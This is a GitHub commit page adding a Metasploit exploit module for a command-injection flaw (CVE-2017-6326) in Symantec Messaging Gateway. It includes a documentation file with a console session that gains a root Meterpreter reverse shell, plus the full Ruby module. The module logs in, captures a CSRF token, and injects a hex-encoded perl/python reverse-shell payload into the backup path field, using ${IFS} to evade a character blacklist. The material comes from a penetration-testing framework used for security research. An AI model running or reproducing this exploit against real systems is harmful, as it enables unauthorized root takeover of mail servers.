Skip to content

Commit 18410d8

Browse files
committed
Land rapid7#8540, Add Symantec Messaging Gateway RCE
2 parents c307cfa + c147779 commit 18410d8

File tree

2 files changed

+259
-0
lines changed

2 files changed

+259
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
## Vulnerable Application
2+
3+
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
4+
terminal command under the context of the web server user which is root.
5+
6+
backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
7+
operating system command. One of the user input is being passed to the service without proper validation. That cause an command
8+
injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
9+
command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
10+
11+
**Vulnerable Application Installation Steps**
12+
13+
Click on the "free trial" button at the following URL.
14+
[https://www.symantec.com/products/messaging-security/messaging-gateway](https://www.symantec.com/products/messaging-security/messaging-gateway)
15+
16+
You need to complete the reqistration in order to download ISO file. License file will be delivered to your e-mail address
17+
18+
## Verification Steps
19+
20+
A successful check of the exploit will look like this:
21+
22+
```
23+
msf > use exploit/linux/http/symantec_messaging_gateway_exec
24+
msf exploit(symantec_messaging_gateway_exec) > set RHOST 12.0.0.199
25+
RHOST => 12.0.0.199
26+
msf exploit(symantec_messaging_gateway_exec) > set LHOST 12.0.0.1
27+
LHOST => 12.0.0.1
28+
msf exploit(symantec_messaging_gateway_exec) > set USERNAME admin
29+
USERNAME => admin
30+
msf exploit(symantec_messaging_gateway_exec) > set PASSWORD qwe123
31+
PASSWORD => qwe123
32+
msf exploit(symantec_messaging_gateway_exec) > set SSH_ADDRESS 12.0.0.15
33+
SSH_ADDRESS => 127.0.0.1
34+
msf exploit(symantec_messaging_gateway_exec) > set SSH_USERNAME root
35+
SSH_USERNAME => root
36+
msf exploit(symantec_messaging_gateway_exec) > set SSH_PASSWORD toor
37+
SSH_PASSWORD => qwe123
38+
msf exploit(symantec_messaging_gateway_exec) > run
39+
40+
[*] Started reverse TCP handler on 12.0.0.1:4444
41+
[*] Performing authentication...
42+
[+] Awesome..! Authenticated with admin:qwe123
43+
[*] Capturing CSRF token
44+
[+] CSRF token is : 48f39f735f15fcaccd0aacc40b27a67bf76f2bb1
45+
[*] Sending stage (39842 bytes) to 12.0.0.199
46+
[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.199:53018) at 2017-04-30 14:00:12 +0300
47+
48+
meterpreter > getuid
49+
Server username: root
50+
meterpreter > sysinfo
51+
Computer : hacker.dev
52+
OS : Linux 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015
53+
Architecture : x64
54+
System Language : en_US
55+
Meterpreter : python/linux
56+
meterpreter >
57+
```
Lines changed: 202 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,202 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => "Symantec Messaging Gateway Remote Code Execution",
14+
'Description' => %q{
15+
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
16+
terminal command under the context of the web server user which is root.
17+
18+
backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
19+
operating system command. One of the user input is being passed to the service without proper validation. That cause an command
20+
injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
21+
command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
22+
23+
This module was tested against Symantec Messaging Gateway 10.6.2-7.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Mehmet Ince <[email protected]>' # author & msf module
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'],
33+
['CVE', '2017-6326']
34+
],
35+
'DefaultOptions' =>
36+
{
37+
'SSL' => true,
38+
'RPORT' => 443,
39+
'Payload' => 'python/meterpreter/reverse_tcp'
40+
},
41+
'Platform' => ['python'],
42+
'Arch' => ARCH_PYTHON,
43+
'Targets' => [[ 'Automatic', { }]],
44+
'Privileged' => true,
45+
'DisclosureDate' => "Apr 26 2017",
46+
'DefaultTarget' => 0
47+
))
48+
49+
register_options(
50+
[
51+
Opt::RPORT(443),
52+
OptString.new('USERNAME', [true, 'The username to login as']),
53+
OptString.new('PASSWORD', [true, 'The password to login with']),
54+
OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']),
55+
OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]),
56+
OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']),
57+
OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']),
58+
OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])
59+
]
60+
)
61+
end
62+
63+
def username
64+
datastore['USERNAME']
65+
end
66+
67+
def password
68+
datastore['PASSWORD']
69+
end
70+
71+
def ssh_address
72+
datastore['SSH_ADDRESS']
73+
end
74+
75+
def ssh_port
76+
datastore['SSH_PORT']
77+
end
78+
79+
def ssh_username
80+
datastore['SSH_USERNAME']
81+
end
82+
83+
def ssh_password
84+
datastore['SSH_PASSWORD']
85+
end
86+
87+
def auth
88+
print_status("Performing authentication...")
89+
90+
sid = ''
91+
last_login = ''
92+
93+
res = send_request_cgi({
94+
'method' => 'GET',
95+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')
96+
})
97+
98+
if res && !res.get_cookies.empty?
99+
last_login = res.get_hidden_inputs.first['lastlogin'] || ''
100+
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
101+
else
102+
fail_with(Failure::Unknown, "Didn't get cookie-set header from response.")
103+
end
104+
105+
cookie = ''
106+
107+
# Performing authentication
108+
res = send_request_cgi({
109+
'method' => 'POST',
110+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),
111+
'headers' => {
112+
'Referer' => "https://#{peer}/brightmail/viewLogin.do",
113+
'Connection' => 'keep-alive'
114+
},
115+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
116+
'vars_post' => {
117+
'lastlogin' => last_login,
118+
'userLocale' => '',
119+
'lang' => 'en_US',
120+
'username' => username,
121+
'password' => password,
122+
'loginBtn' => 'Login'
123+
}
124+
})
125+
126+
if res &&res.body =~ /Logged in/
127+
cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
128+
print_good("Awesome..! Authenticated with #{username}:#{password}")
129+
else
130+
fail_with(Failure::Unknown, 'Credentials are not valid.')
131+
end
132+
133+
cookie
134+
end
135+
136+
def get_csrf_token(cookie)
137+
138+
print_status('Capturing CSRF token')
139+
140+
res = send_request_cgi({
141+
'method' => 'GET',
142+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'),
143+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
144+
})
145+
146+
csrf_token = nil
147+
if res && res.code == 200
148+
match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/)
149+
if match
150+
csrf_token = match[1]
151+
print_good("CSRF token is : #{csrf_token}")
152+
else
153+
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
154+
end
155+
else
156+
fail_with(Failure::Unknown, 'Something went wrong.')
157+
end
158+
159+
csrf_token
160+
end
161+
162+
def exploit
163+
164+
cookie = auth
165+
csrf_token = get_csrf_token(cookie)
166+
167+
# I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted.
168+
# Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys;
169+
# Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :)
170+
# So we gonna execute a perl payload on server side which will execute our meterpreter python payload.
171+
172+
cmd = "python -c \"#{payload.encoded}\""
173+
final_payload = cmd.to_s.unpack("H*").first
174+
175+
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
176+
177+
# Ok. We are ready to go
178+
send_request_cgi({
179+
'method' => 'POST',
180+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'),
181+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
182+
'vars_post' => {
183+
'pageReuseFor' => 'backup_now',
184+
'id' => '',
185+
'symantec.brightmail.key.TOKEN' => csrf_token,
186+
'backupData' => 'full',
187+
'customType' => 'configuration',
188+
'includeIncidentMessages' => 'true',
189+
'includeLogData' => 'true',
190+
'backupTo' => '2',
191+
'remoteBackupProtocol' => 'SCP',
192+
'remoteBackupAddress' => ssh_address,
193+
'remoteBackupPort' => ssh_port,
194+
'remoteBackupPath' => "tmp$(#{p})",
195+
'requiresRemoteAuthentication' => 'true',
196+
'remoteBackupUsername' => ssh_username,
197+
'remoteBackupPassword' => ssh_password,
198+
}
199+
})
200+
end
201+
202+
end

0 commit comments

Comments
 (0)